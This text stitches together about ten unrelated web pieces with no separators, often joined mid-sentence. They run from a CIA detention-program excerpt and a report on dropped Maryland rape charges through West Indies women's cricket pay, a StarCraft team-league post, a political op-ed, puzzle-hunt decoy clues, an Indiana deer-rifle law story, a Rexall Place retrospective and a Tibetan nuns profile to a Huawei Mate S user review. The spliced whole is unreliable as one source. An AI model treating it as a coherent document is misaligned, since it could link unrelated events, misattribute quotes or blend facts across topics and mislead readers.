Probably owing in part to the scope of the program, and in part to the haste with which it was put together, there were quite a few hiccups along the way. Estimates say 26 of the 119 known detainees — a full quarter of the program — were wrongfully detained. “These included an ‘intellectually challenged’ man whose CIA detention was used solely as leverage to get a family member to provide information, two individuals who were intelligence sources for foreign liaison services and were former CIA sources, and two individuals whom the CIA assessed to be connected to al-Qa’ida based solely on information fabricated by a CIA detainee subjected to the CIA’s enhanced interrogation techniques,” the report says.
A pair of CIA sources were tortured through sleep deprivation before the agents realized they were good guys and finally read their messages. “After both detainees had spent approximately 24 hours shackled in the standing sleep deprivation position, CIA Headquarters confirmed that the detainees were former CIA sources. The two detainees had tried to contact the CIA on multiple occasions prior to their detention to inform the CIA of their activities and provide intelligence.”
Sometimes, the interrogations went even further, including at least one that resulted in the death of the detainee. The agent was not punished.Prosecutors in Maryland have decided to drop rape charges against an undocumented immigrant student in a case that was highlighted by the White House.
"After a painstaking investigation and review of these matters, we have concluded that the facts of this case do not support the charges originally filed," Montgomery County state attorney John McCarthy said in a statement, as reported by CNN.
McCarthy said the charges were dropped due to "lack of corroboration and substantial inconsistencies from the facts."
Henry Sanchez-Milian, 18, had been charged alongside Jose Montano, 17, in March for allegedly raping a 14-year-old schoolmate in a bathroom.
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"ABC, NBC, CBS did not cover it on their nightly news broadcasts," O'Reilly said in his "Talking Points Memo."
"CNN did not cover the Maryland story in prime time last night. Ditto MSNBC. That is beyond anything I have ever seen in my 40 years-plus of journalism," he added.
According to CNN, the prosecutors will instead charge Milian, a Guatemala native, with possession of child pornography.The case gained national attention after the White House used it as an example of violence committed by illegal immigrants.“The idea that this occurred is shocking, disturbing, horrific,” President Trump's press secretary, Sean Spicer, said when talking about the case during a press briefin g in March.“Part of the reason that the president has made illegal immigration and crackdown such a big deal is because of tragedies like this. … Immigration pays its toll on our people if it’s not done legally, and this is another example,” Spicer added.White House principal deputy press secretary Sarah Huckabee Sanders on Friday declined to retract Spicer's comments.“We’re always looking to protect the American people. Sean was speaking about what he knew at the time,” Sanders said. “I don’t want to retract anything without further information in front of me.”The case sparked a war of words between news networks, with Fox News heavily covering the story in March and criticizing CNN and others for not doing the same.“Rapes and assaults and murders are local news stories on a daily basis... but when do they break through to become national news, and when do they not?" CNN's Brian Stelter said in March, according to The Washington Times "This week the health care bill in talks in the House dominated cable news coverage all over the place, but Fox News also focused heavily on another story, and sometimes tying it to the president’s immigration agenda,” he added.Former Fox News host Bill O'Reilly accused other news networks of avoiding the story at the time, specifically singling out CNN and MSNBC.West Indies cricket, already fraught with controversy involving some of its male internationals, appears in danger of losing one of its major female stars.
Barbadian all-rounder Deandra Dottin has threatened to walk away from full-time involvement in the game if something is not done by the West Indies Cricket Board (WICB) about the significant disparity in moneys paid to male and female cricketers.
In an interview with Barbados TODAY, Deandra Dottin stressed that the time had come for women in cricket to be treated equally to their male counterparts. She lamented the steep difference in the prize money that both West Indies senior sides received after winning their respective World Cup Finals in India.
Highlighting the gulf between the BDS$3 million shared by the men and the BDS$200 000 divided among the women, Dottin described it as “ridiculous”.
“Barbados does not really give sports people – and from my point of view, women – the recognition and respect they need. We were actually world champions and a lot of people feel we getting all of this big money and the payment is equal to the men. That is not so,” Dottin said, adding this was a state of affairs which the WICB could change.
“In order for cricket to be better, you need to treat everybody as one. You can’t treat the men at a high level and the women at a much lower level. You [women] only have the fame and the name,” Dottin contended.
She added that even though they were many Barbadians “who love women’s cricket and come out to support it,” there were others “who don’t think we should be playing at all.”
“We women need to be treated way better than we are being treated; money-wise and respect. Regional male cricketers make more money than West Indies women in cricket,” she pointed out.
Dottin also explained that the Barbados Cricket Association (BCA) never used to pay women when they represented Barbados and only recently began “paying a little fee”.
“This sort of treatment would discourage anybody from playing cricket. Right now, as a person who plays cricket full-time and loves cricket, I am looking for something else to do. And if what I choose to do brings me more income, and makes life better for me, I will play cricket part-time. They will not get my full dedication anymore,” she remarked.
But Dottin’s lament is not unique to the women’s game in the Caribbean.
Because women’s cricket does not enjoy the same revenue-earning capacity as the men’s game through gate receipts and the selling of television rights, female cricketers tend to be paid less than men worldwide. But several countries have been increasing their female cricketers’ earnings in recent times, even though those moneys are still significantly less than what the male cricketers are paid.
Following Australia’s loss to the West Indies in the World Twenty20 Final, Cricket Australia gave their women a pay hike where top players can earn about $100 000 annually. All centrally contracted international women players will now be paid AU$50,150 a year in retainer fees plus the usual match fee of AU$1,200 for Test, $700 for ODI and T20I. Women players in the domestic cricket league will get a $7000 retainer fee plus another $3000 to $10,000 if they are awarded Women Big Bash contracts.
The England and Wales Cricket Board (ECB) awarded central contracts to 19 women cricketers for the 2016-2017 season. The decision to award central contracts was made in February 2015 and it was finally implemented in December 2015. Eighteen cricketers with central contracts got a financially-improved 12-month contract for the period February 2016 to January 2017.
Centrally contracted players are given retainer fees of £50,000 a year. Each player also gets a match fee that is around £1000 for a Test match, £500 for ODIs and T20Is matches. There are bonuses such as winning ICC competitions and individual performance related bonuses
The Board of Control for Cricket in India has followed the lead of the West Indies, Australia and England by offering some of their national female players central contracts. They have awarded central contracts to 11 internationals who were divided into two categories. Four top players were classified in grade A while seven others were awarded grade B contracts. The grade A women’s central contracts are worth US$22 500 annually, while grade B players’ contracts are US$15 000.
The Pakistan Cricket Board has also announced central contracts for 21 international women players. These came into effect from January 1 this year for a 12 month period. The women have been placed into four categories with category A players on monthly retainers of US$1 000; category B – US$800 monthly; category C – US$600 monthly; and category D – US$400 monthly.
In 2014 New Zealand awarded central contracts for the first time to their top 10 women cricketers. These ranged between $10 000 and $12 000 per annum.
West Indies Women retainer contracts range between BDS$3 000 and $6 000 monthly. Twelve male West Indies players are on retainer contracts ranging between BDS$200 000 and $280 000 annually which is drawn down in monthly tranches. These earnings are separate from what both men and women are paid on a match to match basis and other monetary incentives.The method they use to choose teams is as follows:
Total Points = (1.6x + 1y) where
x = number of players in Code S
y = number of players in Code A
oGs : 13.8 (8+1)
TSL : 10.0 (5+2)
Prime : 9.0 (5.1)
StarTale : 8.8 (3+4)
SlayerS : 8.6 (1+7)
MVP : 7.6 (1+6)
ZeNEX : 6.2 (2+3)
fOu : 5.6 (1+4)
IM : 5.2 (2+2)
NS호서 : 3.6 (1+2)
Liquid : 3.2 (2+0)
FOX : 1.6 (1+0)
Team Web Sites and Rosters
"Bel'Shir Beach"
GomTV recently announced its line up for the May Team League, a highly anticipated event thanks to two past seasons of incredibly exciting series. The teams invited were SlayerS, the previous winner, ZeNex Old Generations, and StarTale. As many have noticed, the two time finalist Incredible Miracle, home to Hwang Kang 'KangHo' Ho, and several other of the world's finest players, was not included. GomTV apologizes for thisand explains that the method they have used since season 1 of the team league did not rank Incredible Miracle as a top 8 team (coming in at 9th place).Along with the post of the team line up, GomTV included a long explanation of the decision to not include Incredible Miracle. Despite obvious protests that it is one of the most prestigious teams in the world, GomTV chose to abide by the team league rules which have been known since early this year and give more teams the opportunity to develop their reputations and success.Each team which is in the May Team League fully deserves its position from the performances of its players in GSL. There is no doubt that this line up will provide the epic series for which GSTL is known, and viewers will no doubt look forward to the program!A new map will also be added to the GSTL map pool to test out for future GSL use.Sources:Democrats have launched a long-overdue debate about what they will stand and fight for. The party is impressively united — and its activists mobilized — against President Trump and the right-wing Republican agenda. With Trump unpopular and the Republican Congress even less so, Democrats are salivating at the prospect of a wave election next year that would allow them to take back Congress. After they came close but lost this year’s handful of special elections, there is increasing recognition that “we’re not them” is not sufficient. Democrats have to have a more compelling economic agenda and message. Not surprisingly, there is widespread disagreement about what that message should be.
In the New York Times, Mark Penn and Andrew Stein argue that the path back to power for Democrats is “to unquestionably move to the center and reject the siren calls of the left, whose policies and ideas have weakened the party.” Penn and Stein are deliciously unseemly personifications of the party’s money wing. Penn served as “chief strategist” for Hillary Clinton’s failed 2008 campaign while continuing as chief executive of Burson-Marsteller, a public relations firm with clients such as Blackwater, the shady private mercenary firm; drug companies such as Amgen; and British Petroleum, the company besmirched by the Gulf of Mexico oil spill. He was forced to resign from that campaign when it was revealed he had met with Colombian officials about a free-trade agreement that Clinton nominally opposed. The multimillionaire Stein, a former Manhattan borough president, was convicted of tax evasion and endorsed Trump in 2016.
Penn and Stein invoke President Bill Clinton as their ideal, arguing that Democrats should be the party of “fiscal responsibility,” “above partisanship,” and focused on “economic growth” and rising wages. They trot out a range of issues that are standard Democratic Party fare — infrastructure investment, immigration reform, community policing, protecting workers in the “gig economy” and “holding the line” against Republican efforts to repeal Obamacare. Adopting the scabrous rhetoric of the right, they warn that “bigger government handouts” won’t win working-class voters back. Their particular bêtes noires are “identity politics” and “political correctness,” represented by “transgender bathroom issues” and “sanctuary cities.”
To make their case, Penn and Stein summon up a fictional account of our political history. Democrats “relied on identity politics” and “a government solution for every problem” in the early 1990s, leading to Republicans taking the House in 1994. Democrats came back when Clinton embraced a balanced budget, welfare reform and the crime bill, leading to his reelection in 1996. Under President Barack Obama, they say that Democrats, misled by politicians such as Sens. Bernie Sanders (I-Vt.) and Elizabeth Warren (D-Mass.), once more ran to the left, embracing identity politics, class warfare and big government, and thus lost 1,000 legislative seats, the presidency and control of both houses of Congress.
This is fake history. Clinton ran and won in 1992 on a populist economic agenda — promising to raise taxes on the rich, launch a jobs program and provide health care for all. He complemented that with purposeful racial signaling — rejecting Jesse Jackson in the Sister Souljah incident, calling for ending welfare as we know it and parading in front of black prisoners while touting harsh “three strikes” criminal sentencing. Upon entering office, Clinton abandoned the populist promises and embraced a budget that he privately termed one of an “Eisenhower Republican.” The effort to gain bipartisan support for health-care reform was torpedoed by Republican obstruction. Clinton then championed the North American Free Trade Agreement, over the warnings of labor leaders and the opposition of most Democrats. That contributed directly to the Democratic defeat in 1994. In 1996, Clinton came back after the Republican Congress shut down the government and campaigned as the defender of Medicare, Medicaid, education and the environment.
Similarly, Democratic losses under Obama did not come from “identity politics, class warfare and big government, ” as Penn and Stein suggest. Rather, Democrats paid a big price for bailing out Wall Street bankers while homeowners were abandoned. Obama passed an inadequate stimulus and then moved to embrace deficit reduction — “tightening our belts” — while unemployment was still in double digits. Democrats suffered from the resulting slow recovery and from Republican assaults on Obamacare.
Utterly absent from the Penn and Stein analysis is the terrible cost and utter failure of the neoliberal policies they espouse. Clinton’s free-trade policies — sustained by Obama — racked up unprecedented trade deficits, with companies shipping good jobs abroad and driving down wages at home. Clinton’s fiscal austerity — echoed by Obama — left U.S. infrastructure decrepit and dangerous, while forgoing needed investments in education, affordable college and housing, and more. Clinton’s tough-on-crime agenda was catastrophic for African American men and left the United States with the highest prison population in the world.
Penn and Stein speak for a failed political establishment. The energy, ideas and activist base of the party come from the left. Sanders told 4,000 activists assembled at the People’s Summit last month in Chicago that “we have won the battle of ideas.” Sanders’s calls for a $15 minimum wage, a $1 trillion infrastructure investment, leading the green industrial revolution, fair taxes on the rich and corporations, tuition-free college and an end to the corporate trade regime are slowly becoming staples in the party consensus. Medicare for all is gaining ever more adherents. Even Penn and Stein move to embrace “fair trade,” without saying that they are abandoning a pillar of Clinton’s New Democrat agenda.
Sanders and Warren and the activists and movements driving this debate don’t just want hollow political victories. They want what is needed to make this economy work for the vast majority, not just the few. That requires fundamental economic reforms and a “political revolution,” with small donors and volunteer energy challenging and eventually ending the reign of big money. Progressive groups are recruiting populist candidates up and down the ballot. They plan to challenge sitting Republicans everywhere. Conservative or corporate Democrats will increasingly face populist primary challengers.
Old party pros such as Penn and Stein don’t get it. They see how unpopular Trump and the Republican Congress are, but their credibility on what to do next is shot. The populist temper of the time is rousing citizens across the country. Politics as usual won’t suffice anymore.
Read more from Katrina vanden Heuvel’s archive or follow her on Twitter.Most of the clues on this page are decoys. The five matching the solutions to Hunt puzzles are real.
8: Good! Now find the 10th!
9: You don’t want the red one, but you do want the card-carrying one.
11:
12: /bgr2@
13: Tim and Dancer both follow it.
15: Start with the 11th. Double the 13th. Stop at the 23rd.
16: When you are their you will no what to do.
21: Breakfirst of Champions.
22: What are the odds, people, what are the odds?
27: So if you are a knish, does that mean you are just kind of like a kn?
40: This sentence is missing something important
48: Wahrheitsgemäß beantworten: Sie sind ein Nebengebäude?
51: Faster than a speeding pullet.
64: If you’ve solved IT and THEM correctly, you will know what to subtract from the last-given clue.
65: Not the
The OTHER type of number.
66: At the given time, you will actually need to talk to a man about a horse.
77: It’s “blind” if you want to hide having sent it.
88: Avoid the double snowman.
96: Winter son of our glorious Now by York discontent of is made the this.
106: $/568vKL
112:
124: Quel est le mot français qui sonne comme le mot anglais qui veut dire le blé.
130: Dysprosium + Protactinium - Argon
145: The third is first. The 23rd is the only one that doesn’t count.
201: You can beat the rap, but you can’t beat the ride.
206. It’s the Big W. Again. And again.
259: Think, Mully and Sculder.
260: /23y3vx
271. DO NOT USE 52 OR 5!
293: Grab me some giggle water, dollcakes. Everything’s hunky-dory.
299: It’s short for a big rig and, more to the point, a punctuation mark.
394: You want shell shock? We got MORE SHELL SHOCK.
400: Only if one of the bottles should happen to fall.
444: In art as in hunting, what’s missing is what’s right. Everything else is what’s left.
501:
(Gene Weingarten by Washington Post; Gene Tierney by Frank Filan/AP; Gene Siskel by Buena Vista Television/AP; Gene Hackman by Hubert Boesl/Picture-Alliance/DPA/AP; Levi’s by (copyrighted) @Laurent/iStockphoto)
550: Let your inhibitions run wild.
661: 717%|/
666: The power of The Lord compels you! The power of The Lord compels you! The power of The Lard cowbells you!
1097: Love of two is one. Here but now they’re gone. Baby, don’t fear the wrapper.
2498: /xyb/xab
7003: If you reverse the order of the five real clues you will discover a sixth is implied. But only after 3.
17890: Use your intelligence as guided by your experience, inevitably hobbled just a little by your perverse appetites.
31416: This answer stands alone. It won’t be of value until 3 o’clock. Its size should suggest what to do with the clue you’ll get at the main stag
347
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the existing law to clarify the rules regarding high velocity rounds.
“The intent of the change was to make it more clear on what high velocity rifle rounds you could use on private property,” said Eberhart, “when that change was made, it inadvertently pulled in the pistol rounds as well [and] unfortunately the law now says that you can use those high velocity and pistol rounds in a rifle, but only on private grounds.”
That oversight has left deer hunters unhappy. Many outfitters and gun stores we spoke to on the phone said they’re getting calls from angry and confused hunters.
When questioned how neither he nor any of the law co-signers caught the oversight before it was voted on, Eberhart responded, “That’s a good question, not only did we not catch it as myself or any other legislator, LSA didn’t catch it, no other department didn’t catch it, DNR didn’t catch it, so we had a lot of eyes on this bill and no one caught that inadvertent change.”
In light of that, Eberhart hopes to fix the problem soon.
“I’m very confident we can address it come session time in January…but it’s my hope that we can address it short term as well,” said Eberhart.
What that short term fix could be and whether it can happen fast enough for this season, which starts November 18th, isn’t clear. But Eberhart reiterated that he and his fellow lawmakers are working on a solution.
“I don’t think there’s an apology…unfortunately this happens when you have unintended consequences,” said Eberhart, “you know I’ve been a proponent of our hunters and our fishermen since day one.”
DNR would not comment on the issue; however, it did release guidelines covering the new rules and posted updated information regarding recent legislation that affects the use of rifles during deer hunting season.
Due to House Enrolled Act 1415 that was passed earlier this year by the Indiana General Assembly, hunters can no longer use rifles when hunting deer on public land, according to the DNR. The DNR says “public land” includes both state and federal property. Before the change was made this year, the use of rifles was legal on public land.
It’s still legal to use a muzzleloader, shotgun or handgun on public land.
As far as private land goes, HEA1415 allows some additional rifle cartridges to be used.
Below is a summary of rifle requirements for hunting deer on private land:
The rifle must have a barrel length of at least 16 inches
The rifle cartridges must have a cartridge case length of least 1.16 inches and have a maximum case length of 3 inches
The cartridge must fire a bullet with a diameter that is.243 inches (same as 6mm) or larger
A hunter may not possess more than 10 such cartridges for each of these rifles while hunting deer
These new rifle cartridges may only be used on private land
Full metal jacketed bullets are illegal
The new rifle cartridges may be used during the youth deer season, deer firearms season, special antlerless firearm season (where open), and deer reduction season (in deer reduction zones where local ordinances allow the use of a firearm from the start of the regular firearms season through the end of the following January). A complete list of rifle cartridges now legal under HEA 1415 can be found here.
The 2017-2018 deer hunting season starts November 18 for firearms. You can find the complete season schedule here.On an unusually warm April evening the sound of native drumming and chanting reverberates through the parking lot of Edmonton's Rexall Place. It is the final battle of Alberta, Oilers hosting the Flames, and the drummers from Alexis Nakota Sioux Nation are welcoming arrivals.
"Let's go back to the good old days, let's go back to the Gretzky days," they sing in a mashup of ancient ceremonial drumming and modern stadium chanting.
In a way, the Oilers will be going back to the good old days when they move into the gleaming new hockey shrine, Rogers Place this fall. It will be a young team anchored by an emerging superstar, playing out of a state-of-the-art building, just like it was in 1974 — the good old days.
Fans stream into Rexall Place for the final Battle of Alberta. (Richard Marion/CBC)
Rexall Place today is the second oldest building housing an NHL team, behind only the venerable Madison Square Garden, a piece of New York history. What is historic about Rexall are the memories of what went on inside. The building itself is unspectacular compared with today's modern sports facilities, a concrete structure surrounded by surface parking lots, major roadways, rail tracks and 1940s-era neighbourhoods.
Thanks for the memories
But what memories. It was in this building that the Edmonton Oilers won four of their five Stanley Cups and where Wayne Gretzky shattered longstanding records and set a new standard of hockey superstardom.
It's also where in 1995 about 15,000 people donned tuxedos or ball gowns to enjoy an evening with one of the greatest tenors of all time, Luciano Pavarotti. Others would cite Pink Floyd's The Wall tour or the Eagles' reunion concert as great moments in the old barn.
Its long history is diverse enough to contain a memorable event for nearly every taste.
When Northlands Coliseum opened on Nov. 10, 1974, it was designed to match the best buildings in the NHL, even though Edmonton did not yet have an NHL team. The Oilers played in the World Hockey Association, a short-lived rival league that folded in 1979. Four of its teams were absorbed into the NHL, including the Oilers.
"It was a great building in 1975, but it's now 2016. It was time to replace the building," says Rod Phillips, the longtime play-by-play voice of the Oilers.
As Phillips travelled with the team he could see times were changing. "They had a new building in Vancouver, a new building in Los Angeles, a new building in San Jose, a new building in Denver. You know there are new buildings all around the league."
Rogers Place is in the heart of downtown Edmonton. It will be part of a new Ice District, which features new restaurants, nightclubs and bars, along with a new luxury hotel. (Ice District) Today, only four NHL rinks predate 1993. After Rexall, and next year's closure of Detroit's Joe Louis Arena, that list will be whittled down to two: the Calgary Saddledome and Madison Square Garden.
Edmonton's new Rogers Place will stand in stark contrast to its predecessor. It's a modern and stylish high-tech hockey hub in the heart of downtown, part of a 10-hectare development called the Ice District, which includes new luxury hotels, a casino, nightclubs and restaurants. It is transforming Edmonton's downtown.
Long, bitter debate over downtown arena
But it didn't come easy. Six years of acrimonious debate led up to city council's April 2013 decision to go ahead with the project.
Longtime Oilers play-by-play announcer Rod Phillips says Rexall Place was showing its age, while most other cities were getting new arenas. (Trevor Wilson/CBC) "There was a lot of controversy about it at the time because it's expensive," said Phillips. "But I still think for the good of the city and for hockey fans and for the country Edmonton is a great franchise in the NHL, and with a new building it's just going to be that much better."
Where Rexall Place was a building with not much around it, Rogers Place will be surrounded with places to eat and drink, before and after the game. It has a critical mass the old place sorely lacks. So while Edmontonians share fond memories of what they experienced there, the move from Rexall Place is accompanied not so much by a sense of loss as a feeling of moving on to something bigger and better.
"There's always going to be memories of Rexall," Phillips says, "But starting next year they're going to start building some new memories in Rogers Place. It's from the old to the new. That's the way I look at it."
And for Oilers fans it brings hope of new glory days, with talents like Connor McDavid, Ryan Nugent-Hopkins and Taylor Hall to lead them into a new era.After a grueling journey on foot across the Himalayas in 1990, a group of 66 Tibetan Buddhist nuns arrived in Dharamsala, India, the home of the Dalai Lama and the rest of the exiled Tibetan government. They had fled torture and imprisonment at the hands of Chinese authorities in Tibet, but their struggle wasn't over when they crossed into India. The existing nunneries there were overcrowded and could not accommodate them, and so they had to look elsewhere for help.
Responding to the need, The Tibetan Nuns Project, founded in 1987, was created to provide long-term support, housing, and education to refugee nuns, who now number over 700, ranging in age from their pre-teens to mid-eighties.
Today the Buddhist nuns are able to run their own nunneries through sponsorship and income-generating projects that encourage self-sufficiency for the nuns. Some manage the pumps that control water flow through the complex, others cook or tend to the animals, and some work in the office, using their knowledge of video editing and digital technology. Recently, a small group of nuns has learned to make tofu, which they supply to the Dolma Ling kitchen, staff, and other local customers.
Story continues after slideshow:
PHOTO GALLERY Tibetan Nuns Project
In addition to these life-sustaining activities, for the first time in Tibetan history, nuns are receiving the same rigorous educational opportunities that were previously only available to monks.
The project supports nuns living in seven different nunneries in Northern India-- Dolma Ling Nunnery and Institute, Shugsep Nunnery and Institute, Geden Choeling Nunnery, Tilokpur Nunnery, Sherab Choeling Nunnery, Dorjee Zong Nunnery, and Sakya College for Nuns.Last time I wrote about smartphones beyond the odd news post and live blogs at events, I had purchased a $160 smartphone for my own use that ran four days on a single battery charge. Not too long after, Huawei invited me over to their UK office to show me the Mate S, and their new Force Touch edition. Andrei’s review of the Mate S had been uploaded only the previous day, so part of the discussion was around some of the findings in that review, but the purpose of bringing me into the London office was to actually try the new features. I was taken through the motions of Force Touch on Huawei’s hardware. I wasn’t expecting it at the time, but at the end of the demonstration they handed me the unit and said ‘try it for a while, tell us what you think’.
So I’ll admit from the start – it isn’t every day that I use a $650 smartphone. This is Huawei’s top model of the Mate S, featuring 128 GB of storage, Force Touch, and in rose gold, which sets it apart from other Mate S implementations. On the color, which is typically not one I would have considered, I had more positive than negative comments on the rose gold in the past couple of months, with most questions about the color being directed to the comparison to Apple’s equivalent. A number of people also suggested that the Mate S was copying the iPhone, which was not an uncommon sentiment.
In these ‘a month with’ pieces, I use the smartphone as a daily driver, trying to see how easy the device fits into my slightly uncommon use case. I also try to use the new features on offer when they become relevant to what I do. If you want the full review of the Mate S, please read Andrei’s very detailed breakdown of the Mate S and the Kirin 935 SoC – this piece is my expression my personal opinion as a technical user but not a smartphone reviewer.
For readers who haven’t come across these posts before on AnandTech, my use case and feel about the smartphone industry is a little different from most. I’m rather tight-fisted when it comes to smartphones, and I feel anything over $200 seems a bit excessive especially when it’s my money. I use my smartphone 99% of the time as a data device, rarely making calls, but either taking pictures and talking to the family outside of work, playing basic smartphone games in downtime, or using it as a data point while working. I also write reviews on my smartphone, using Evernote during trips on the London Underground where I’d rather write for 20 minutes when I have no internet than sit idle.
This review is going to be a list of pros and cons that I’ve come across in the last couple of months that are purely related to me. Your mileage may vary. When I gave Huawei this feedback, they agreed with most of what I had to say. I also took a small video explaining some of the interesting features that were difficult to explain in text:
Pro: Fingerprint Sensor Speed
When I road-tested the HTC One max, I struggled using the fingerprint sensor they had on it. It was an early generation swipe sensor on the rear of the phone, and no matter what I did it would only unlock 30% of the time or even less. With the swipe sensor, it only worked within a small range of angles, and invariably with a large phone you do not always hold it at the same angle to unlock. Having never used any other fingerprint sensor other than that at the time, the sensor on the Mate S was superb. I logged five different fingers in the system (first two on each hand and a third finger on my right), and it beats my previous experience in two ways. Firstly, it’s a touch sensor, which means no swiping. Secondly, the response time is super quick, so if it fails to unlock another attempt is less than a third of a second away. It’s not only quick by comparison to the One max, but I’ve also played with the 6P a little bit and the Mate S easily beats the 6P in time to calculate the unlock and then retry. Because I’ve gotten so used to the Mate S, I end up removing my finger from the sensor too early on the 6P, and it asks to try again. It’s going to be a tough habit to break out of.
Con: EMUI, Software Glitches and Response to Voice
Here’s a triple whammy of annoyance. EMUI, for all its best wishes, attempts to be very iOS like. Despite being on an Android base, there is no true list of apps or app drawer, limiting each app icon to only one screen. My typical Android experience up to this point involves some app on multiple screens, just to save time, but that isn’t possible here. The background seems only to be changeable to a set of Huawei defaults, as even after two months I haven’t found a way to put my own picture there (all the normal Android ways don’t work). EMUI also interferes with a number of apps I like to use, such as a network speed monitor so I can tell when I’m on a limited connection if some app in the background is hogging all the data. My app of choice, while it starts up, seems to be ejected from memory automatically very quickly when the screen is turned off.
The voice glitching is another aspect to be wary, and this comes in two forms. Firstly, at the end of my last smartphone test, my use of an Android phone had evolved to the point where I was starting to use Google Now to do simple tasks like set reminders and alarms, or ask basic questions very easily. On the Cubot H1, a smartphone with four A53 ARM cores running at 1.0 GHz, Google Now responded immediately without hesitation. However, the Mate S has issues. Sometimes saying ‘Google Now’ doesn’t activate the feature, and when it does, the system ends up trying to load something for three seconds and you get the ‘I didn’t hear that’ because the processor was busy. That means every time you ask it something, it’s an additional delay that I could have spent typing the question into Google for.
The other voice glitch is completely random and happens about twice a month. I will have the phone on the desk or in my pocket when talking to friends when out of the blue it will start talking about how it can’t understand a command, reach a contact, or let you know where it is. It has even done this while sitting on my bed side table while speaking with my wife. There is an always on voice feature to help you find where the phone is (which never seems to activate when you are actually looking for the phone), but the fact it activates randomly and usually when it is at high volume makes the user look like a random idiot. It’s not a good look.
Pro: Knuckles
One of Huawei’s interesting features on the Mate S is the ability to do certain things with your knuckles. It sounds odd, but essentially this means striking the screen with one or two knuckles and drawing out a box or a letter to perform certain functions. Writing a C for example, no matter where you are in Android (or even when locked), will force the camera application to load. This makes it easy to take pictures rather than searching for the camera icon (which you can’t put on multiple screens due to EMUI). The software recognizes C, M and two other letters, all of which can be customized to run the application you want. Please watch the video above for a demonstration.
The other knuckle-based features aren’t that useful so much, but are still there for the odd time you show them off to friends. A double tap will take a screenshot, while forming a box on any screen will cause what is in the box to be cropped into an image, which can then have filters or shapes applied. A double knuckle double tap will let the smartphone record both audio and on-screen activity, so if you want to show how to do something to someone else, you can make a direct video recording and send it to them.
Con: Gmail App on EMUI, Split Windows
I’ll round the EMUI issues off with these two. I use the Gmail app like a number of Android users, however the EMUI implementation is extremely annoying, especially with the backgrounds in play. When you have email and a number of new messages, then scroll down the notifications bar, EMUI displays the name of the sender and the email topic in black. This is black on a gray notifications bar which is semi-transparent, but most of the Huawei backgrounds for EMUI are quite dark, meaning you can’t read anything. This just adds another couple of seconds to looking at email and completely negates a quick notification look at the subject to see if it’s something you should respond to.
Huawei does implement a variant of multitasking in EMUI called Split Windows, and is extremely similar to other multitasking arrangements in other Android and iOS devices. It’s a good feature that I can see myself using a lot of, so why list it as a con? Well I’m not sure whether it is new, or it was a last decision thing, but the split windows require each app to be able to dynamically handle the adjustment of two screens side by side – the split windows feature can’t manage it on the fly. As a result, there are only eight apps that use the feature, and they are all from Huawei, and I don’t tend to use any of them. My best use for this, because of the limited application limitation, is typically when I want to listen to music on YouTube while searching in another browser window. But both browser windows have to be using Huawei’s browser, and not the one I normally use with all my bookmarks and cookies.
Windows splt between browser and notepad
Meh: Force Touch
So Huawei technically came out with a Force/3D Touch implementation before Apple, however this implementation seems limited in scope. The two best things you can do with it is zoom in on pictures in the gallery using one finger (it comes up like a magnifying glass with a zoomed view) and weigh round fruit between 100 and 400 g (0.15-0.90 lbs). There are other non-obvious uses for Force Touch, but these are the only two I’ve used since having the device, and even then I don’t use the latter except to show the feature off. The picture zooming thing gets a bit more use, but even then it’s fairly minimal. In order to make Force Touch more of a thing, it has to be obvious that it does more in more apps.
Pro: Screen Size
Ever since I used the HTC One Max as a daily driver, I am sold in large phones. I get why they exist, and I somehow adapted to them rather quickly. The Mate S is 5.7-inches, below the 6-inch of the One max but above the 5.5-inch of the Cubot H1. The screen has a reasonable brightness range, although doesn’t go as low as some other devices like the Nexus 6P. What I would say though is you won’t be using the Mate S in high brightness mode that often. This brings me to an issue I’ve had with the Mate S: battery life.
Con: Battery Life
We covered this in the original Mate S review, but due to an issue in the SoC silicon, the memory controller consumes a lot of power when at high frequency, even when idle. For most smartphone users that means nothing, but it relies on the OS to de-clock the memory when speed is not required. I’m not sure how often this happens, but I can easily burn through 50-60% of the battery in three hours, watching video/flipping between Skype and Twitter even at low brightness while at an airport. True story.
Putting it in Flight Mode and not using it during the 10-hour flight by comparison and the device was barely sipping at the power. But it does mean the Mate S is certainly a device that requires a daily charge, sometimes before the end of the day. This was a very quick slam to the face coming from a four-day charge smartphone in my last road test.
Pro: Software Eviction on Battery
Because I’m not so liberal with spending money on smartphones, I’ve often ended up with low power, low memory devices, or I worry about what background services are eating power. I get the typical case of memory and battery anxiety, wondering if I’m still going at full speed when I need it or if the device is going to last the full day. This is especially true when using the device at an event. Luckily there are two things on the Mate S that help here: an optimization widget and a software power detector. The first one is software which I’m not sure is part of Android, but does an optimization of currently running apps. (I know that removing apps from memory means it costs power when you need them next, but somehow memory anxiety still exists, despite having 2GB to play with.) The second is the eviction on battery use – if the OS detects that a certain piece of software is causing the SoC to draw more current, it will tell you and offer to close the software. I have seen people complain that on the Mate S this feature is fairly aggressive, and it does come across that way, but at least it gives me the option to do so.
Con: Camera
As mentioned in Andrei’s review, the camera on the Mate S isn’t one of the plus points in the device. It certainly takes a picture, but I’m an unsteady photographer who wants the photo taken as quickly as possible, and sometimes that doesn’t happen. Don’t get me wrong, I’ve used the Mate S to take pictures for AnandTech Live Blogs, but when an image gets compressed to the size of ravioli it doesn’t matter too much anyway. But on the important stuff, the family photos, there are smartphones with better quality implementations at this price point. As with my other road tests, here are some example pictures.
Pro: Camera and Document Adjustment
The camera has one nice feature worth mentioning, especially for anyone having to take notes on lectures/meetings or someone who photographs a lot of documents. The Document Readjustment option in the camera attempts to detect the edges of a piece of paper, a monitor or a projection, and will tilt, stretch, rotate, expand and adjust the image as necessary to give a flat representation. This means that you can take the image at a wide angle (I’m not sure the limit, but it certainly works up to 45 degrees) and it will come out, around 80% of the time, like the photograph was taken head on. I have used this on a number of presentations over the last couple of months, and in the review of a server motherboard recently I used it when the BIOS did not have a print screen option. In this case, I’d normally set up my DSLR on a tripod and take pictures that way, but with the Mate S I was able to simply raise the camera each time on a different screen, wait a second, and then take the image. So rather than having to crop then color balance, all I had to do for 95% of the photographs is a bulk color balance. I would note however that it does seem to strip the EXIF data from the image.
Con: Call Quality
I don't have any tools that will directly measure call quality, but I found the Mate S to be difficult to use in any environment with mild background noise. When in a quiet environment though, a call was clear to hear and easy to speak to. I'm not sure if it was the position of the microphone on the bottom, but more often than not I would have to fish out my headphones and plug them in, so I could arrange the phone and speak directly into the bottom of it.
Con: Too Many Cons
